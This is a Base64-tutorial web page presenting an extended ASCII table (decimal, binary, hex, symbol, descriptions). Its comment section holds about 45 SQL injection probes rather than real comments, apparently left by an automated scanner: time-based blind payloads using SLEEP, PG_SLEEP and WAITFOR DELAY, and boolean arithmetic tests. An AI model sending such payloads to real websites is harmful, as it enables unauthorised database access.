A virtual teacher who reveals to you the great secrets of Base64

ASCII Table

ASCII (an acronym for “American Standard Code for Information Interchange”) is a character encoding system based on the English alphabet (therefore, it is often named “US-ASCII”). The ASCII character set contains 128 characters: uppercase and lowercase letters, digits, punctuation marks, and control characters. Each character is represented by a decimal number (named “ASCII code”).

Since the ASCII table contains only a limited number of characters, I developed a converter that allows you to get info about any character by specifying its decimal, binary, hex, or symbol. That is, you insert your data into the corresponding field, click the “Convert” button, and it converts data into all available formats.

DecimalBinaryHexSymbol




Also, for your convenience, all extended ASCII characters are presented in the table below. The extended ASCII table contains basic characters sorted by ASCII code. Each character has its own unique code, binary value, symbol, name, and description.

Decimal Binary Hex Symbol Name Description
0 00000000 0x00 NUL Null Used as sign of end of a string or to fill an unallocated data space
1 00000001 0x01 SOH Start of Heading Defines the beginning of the message header block
2 00000010 0x02 STX Start of Text Specifies the beginning of the text block and terminates the header block
3 00000011 0x03 ETX End of Text Often used as a “break” character (Ctrl C) to terminate a program
4 00000100 0x04 EOT End of Transmission Control character that indicates end-of-file on a terminal
5 00000101 0x05 ENQ Enquiry Transmission-control character that requests a response from the receiving end
6 00000110 0x06 ACK Acknowledgement Response to an ENQ, or an indication of successful receipt of a message
7 00000111 0x07 BEL Bell Device control code informs the system that it should beep
8 00001000 0x08 BS Backspace Moves the cursor one position leftwards and removes its character
9 00001001 0x09 HT Horizontal Tab Moves the cursor to the next tab stop (e.g., by pressing the Tab key)
10 00001010 0x0A LF Line Feed It is used to indicate the end of a line (e.g., by pressing the Enter key on UNIX)
11 00001011 0x0B VT Vertical Tab Place the form at the next line tab stop
12 00001100 0x0C FF Form Feed Page-breaking character indicates that the following content is part of a new page
13 00001101 0x0D CR Carriage Return It is used to indicate the end of a line (e.g., by pressing the Enter key on MacOS)
14 00001110 0x0E SO Shift Out Known as Control-N, it switches to an alternate character set
15 00001111 0x0F SI Shift In Known as Control-O, it returns the regular character set after Shift Out
16 00010000 0x10 DLE Data Link Escape Force the following octets to be interpreted as raw data
17 00010001 0x11 DC1 Device Control 1 Known as XON, it resumes or turns on the device
18 00010010 0x12 DC2 Device Control 2 The same as DC1
19 00010011 0x13 DC3 Device Control 3 Known as XOFF, it pauses or turns off the device
20 00010100 0x14 DC4 Device Control 4 The same as DC3
21 00010101 0x15 NAK Negative Acknowledgement Reply to the ENQ message informing the sender of an occurred error
22 00010110 0x16 SYN Synchronous Idle Used in hardware synchronization procedures
23 00010111 0x17 ETB End of Transmission Block It is used when transferring data by blocks and serves as a separator
24 00011000 0x18 CAN Cancel Tells the device to ignore the data that was sent before this character
25 00011001 0x19 EM End of Medium Used to notify that the paper or magnetic tape reached the end
26 00011010 0x1A SUB Substitute May be used to replace a character or to undo the last action
27 00011011 0x1B ESC Escape Usually it is associated with the Esc key (for example, to close a popup)
28 00011100 0x1C FS File Separator It is used as a sign of dividing the data stream into files
29 00011101 0x1D GS Group Separator It is used as a sign of dividing the data stream into groups
30 00011110 0x1E RS Record Separator It is a record separator in the data stream
31 00011111 0x1F US Unit Separator It is intended for separating elements in the data stream
32 00100000 0x20 Space Blank area that separates characters (can be written by pressing the Space key)
33 00100001 0x21 ! Exclamation mark Shift 1
34 00100010 0x22 " Quotation mark Shift '
35 00100011 0x23 # Number sign Shift 3
36 00100100 0x24 $ Dollar sign Shift 4
37 00100101 0x25 % Percent sign Shift 5
38 00100110 0x26 & Ampersand Shift 7
39 00100111 0x27 ' Apostrophe
40 00101000 0x28 ( Left parenthesis Shift 9
41 00101001 0x29 ) Right parenthesis Shift 10
42 00101010 0x2A * Asterisk Shift 8
43 00101011 0x2B + Plus sign Shift =
44 00101100 0x2C , Comma
45 00101101 0x2D - Hyphen-minus
46 00101110 0x2E . Full stop (dot)
47 00101111 0x2F / Slash
48 00110000 0x30 0 Zero
49 00110001 0x31 1 One
50 00110010 0x32 2 Two
51 00110011 0x33 3 Three
52 00110100 0x34 4 Four
53 00110101 0x35 5 Five
54 00110110 0x36 6 Six
55 00110111 0x37 7 Seven
56 00111000 0x38 8 Eight
57 00111001 0x39 9 Nine
58 00111010 0x3A : Colon Shift ;
59 00111011 0x3B ; Semicolon
60 00111100 0x3C < Less-than sign Shift ,
61 00111101 0x3D = Equals sign
62 00111110 0x3E > Greater-than sign Shift .
63 00111111 0x3F ? Question mark Shift /
64 01000000 0x40 @ At sign Shift 2
65 01000001 0x41 A Uppercase “A”
66 01000010 0x42 B Uppercase “B”
67 01000011 0x43 C Uppercase “C”
68 01000100 0x44 D Uppercase “D”
69 01000101 0x45 E Uppercase “E”
70 01000110 0x46 F Uppercase “F”
71 01000111 0x47 G Uppercase “G”
72 01001000 0x48 H Uppercase “H”
73 01001001 0x49 I Uppercase “I”
74 01001010 0x4A J Uppercase “J”
75 01001011 0x4B K Uppercase “K”
76 01001100 0x4C L Uppercase “L”
77 01001101 0x4D M Uppercase “M”
78 01001110 0x4E N Uppercase “N”
79 01001111 0x4F O Uppercase “O”
80 01010000 0x50 P Uppercase “P”
81 01010001 0x51 Q Uppercase “Q”
82 01010010 0x52 R Uppercase “R”
83 01010011 0x53 S Uppercase “S”
84 01010100 0x54 T Uppercase “T”
85 01010101 0x55 U Uppercase “U”
86 01010110 0x56 V Uppercase “V”
87 01010111 0x57 W Uppercase “W”
88 01011000 0x58 X Uppercase “X”
89 01011001 0x59 Y Uppercase “Y”
90 01011010 0x5A Z Uppercase “Z”
91 01011011 0x5B [ Left square bracket
92 01011100 0x5C \ Backslash
93 01011101 0x5D ] Right square bracket
94 01011110 0x5E ^ Caret Shift 6
95 01011111 0x5F _ Underscore Shift -
96 01100000 0x60 ` Grave accent
97 01100001 0x61 a Lowercase “a”
98 01100010 0x62 b Lowercase “b”
99 01100011 0x63 c Lowercase “c”
100 01100100 0x64 d Lowercase “d”
101 01100101 0x65 e Lowercase “e”
102 01100110 0x66 f Lowercase “f”
103 01100111 0x67 g Lowercase “g”
104 01101000 0x68 h Lowercase “h”
105 01101001 0x69 i Lowercase “i”
106 01101010 0x6A j Lowercase “j”
107 01101011 0x6B k Lowercase “k”
108 01101100 0x6C l Lowercase “l”
109 01101101 0x6D m Lowercase “m”
110 01101110 0x6E n Lowercase “n”
111 01101111 0x6F o Lowercase “o”
112 01110000 0x70 p Lowercase “p”
113 01110001 0x71 q Lowercase “q”
114 01110010 0x72 r Lowercase “r”
115 01110011 0x73 s Lowercase “s”
116 01110100 0x74 t Lowercase “t”
117 01110101 0x75 u Lowercase “u”
118 01110110 0x76 v Lowercase “v”
119 01110111 0x77 w Lowercase “w”
120 01111000 0x78 x Lowercase “x”
121 01111001 0x79 y Lowercase “y”
122 01111010 0x7A z Lowercase “z”
123 01111011 0x7B { Left curly bracket Shift [
124 01111100 0x7C | Vertical bar Shift \
125 01111101 0x7D } Right curly bracket Shift ]
126 01111110 0x7E ~ Tilde Shift `
127 01111111 0x7F DEL Delete Marks deleted symbols on paper tape
128 10000000 0x80
129 10000001 0x81 
130 10000010 0x82
131 10000011 0x83 ƒ
132 10000100 0x84
133 10000101 0x85
134 10000110 0x86
135 10000111 0x87
136 10001000 0x88 ˆ
137 10001001 0x89
138 10001010 0x8A Š
139 10001011 0x8B
140 10001100 0x8C Œ
141 10001101 0x8D 
142 10001110 0x8E Ž
143 10001111 0x8F 
144 10010000 0x90 
145 10010001 0x91
146 10010010 0x92
147 10010011 0x93
148 10010100 0x94
149 10010101 0x95
150 10010110 0x96
151 10010111 0x97
152 10011000 0x98 ˜
153 10011001 0x99
154 10011010 0x9A š
155 10011011 0x9B
156 10011100 0x9C œ
157 10011101 0x9D 
158 10011110 0x9E ž
159 10011111 0x9F Ÿ
160 10100000 0xA0  
161 10100001 0xA1 ¡
162 10100010 0xA2 ¢
163 10100011 0xA3 £
164 10100100 0xA4 ¤
165 10100101 0xA5 ¥
166 10100110 0xA6 ¦
167 10100111 0xA7 §
168 10101000 0xA8 ¨
169 10101001 0xA9 ©
170 10101010 0xAA ª
171 10101011 0xAB «
172 10101100 0xAC ¬
173 10101101 0xAD ­
174 10101110 0xAE ®
175 10101111 0xAF ¯
176 10110000 0xB0 °
177 10110001 0xB1 ±
178 10110010 0xB2 ²
179 10110011 0xB3 ³
180 10110100 0xB4 ´
181 10110101 0xB5 µ
182 10110110 0xB6
183 10110111 0xB7 ·
184 10111000 0xB8 ¸
185 10111001 0xB9 ¹
186 10111010 0xBA º
187 10111011 0xBB »
188 10111100 0xBC ¼
189 10111101 0xBD ½
190 10111110 0xBE ¾
191 10111111 0xBF ¿
192 11000000 0xC0 À
193 11000001 0xC1 Á
194 11000010 0xC2 Â
195 11000011 0xC3 Ã
196 11000100 0xC4 Ä
197 11000101 0xC5 Å
198 11000110 0xC6 Æ
199 11000111 0xC7 Ç
200 11001000 0xC8 È
201 11001001 0xC9 É
202 11001010 0xCA Ê
203 11001011 0xCB Ë
204 11001100 0xCC Ì
205 11001101 0xCD Í
206 11001110 0xCE Î
207 11001111 0xCF Ï
208 11010000 0xD0 Ð
209 11010001 0xD1 Ñ
210 11010010 0xD2 Ò
211 11010011 0xD3 Ó
212 11010100 0xD4 Ô
213 11010101 0xD5 Õ
214 11010110 0xD6 Ö
215 11010111 0xD7 ×
216 11011000 0xD8 Ø
217 11011001 0xD9 Ù
218 11011010 0xDA Ú
219 11011011 0xDB Û
220 11011100 0xDC Ü
221 11011101 0xDD Ý
222 11011110 0xDE Þ
223 11011111 0xDF ß
224 11100000 0xE0 à
225 11100001 0xE1 á
226 11100010 0xE2 â
227 11100011 0xE3 ã
228 11100100 0xE4 ä
229 11100101 0xE5 å
230 11100110 0xE6 æ
231 11100111 0xE7 ç
232 11101000 0xE8 è
233 11101001 0xE9 é
234 11101010 0xEA ê
235 11101011 0xEB ë
236 11101100 0xEC ì
237 11101101 0xED í
238 11101110 0xEE î
239 11101111 0xEF ï
240 11110000 0xF0 ð
241 11110001 0xF1 ñ
242 11110010 0xF2 ò
243 11110011 0xF3 ó
244 11110100 0xF4 ô
245 11110101 0xF5 õ
246 11110110 0xF6 ö
247 11110111 0xF7 ÷
248 11111000 0xF8 ø
249 11111001 0xF9 ù
250 11111010 0xFA ú
251 11111011 0xFB û
252 11111100 0xFC ü
253 11111101 0xFD ý
254 11111110 0xFE þ
255 11111111 0xFF ÿ

First 128 characters in the table above is also known as the “7-bit ASCII table”, since it was developed in 1963, when one byte was 7 bits long. Over time, the byte became 8-bit, and the ASCII was extended to 256 characters keeping the first 128 characters intact. Among other things, you will use the ASCII table to learn how the Base64 algorithm works and to make it easier for you, I used 8-bit binary values.

Comments (45)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • nqhXncMU,
    -1 OR 2+115-115-1=0+0+0+1
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    GK3jACQl') OR 706=(SELECT 706 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1)) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+710-710-1=0+0+0+1
  • nqhXncMU,
    3a21pK3J' OR 203=(SELECT 203 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1)) OR 337=(SELECT 337 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+187-187-1=0+0+0+1
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1" OR 2+120-120-1=0+0+0+1 --
  • nqhXncMU,
    DvO7wK1m')) OR 553=(SELECT 553 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    -1 OR 2+101-101-1=0+0+0+1 --
  • gBqsPxAZ,
    J1U59C5j')) OR 64=(SELECT 64 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1)) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    CwT306Qr') OR 11=(SELECT 11 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1 OR 2+947-947-1=0+0+0+1
  • gBqsPxAZ,
    -1)) OR 740=(SELECT 740 FROM PG_SLEEP(15))--
  • nqhXncMU,
    sXv0HwgJ') OR 899=(SELECT 899 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+424-424-1=0+0+0+1 --
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    nJUNKmsO' OR 136=(SELECT 136 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+310-310-1=0+0+0+1 or 'JMVAGPlR'='
  • nqhXncMU,
    87CQzdm2'; waitfor delay '0:0:15' --
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    o1CRgVVT')) OR 534=(SELECT 534 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -5) OR 758=(SELECT 758 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -5) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    1 waitfor delay '0:0:15' --
  • ncMUFCMU,
    -5 OR 783=(SELECT 783 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    3oSxmOjL')) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    gOJ1TuW7') OR 505=(SELECT 505 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    1
  • nqhXncMU,
    -5 OR 984=(SELECT 984 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -5 OR 495=(SELECT 495 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+942-942-1=0+0+0+1 --
  • nqhXncMU,
    DEikSqtg') OR 407=(SELECT 407 FROM PG_SLEEP(15))--
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.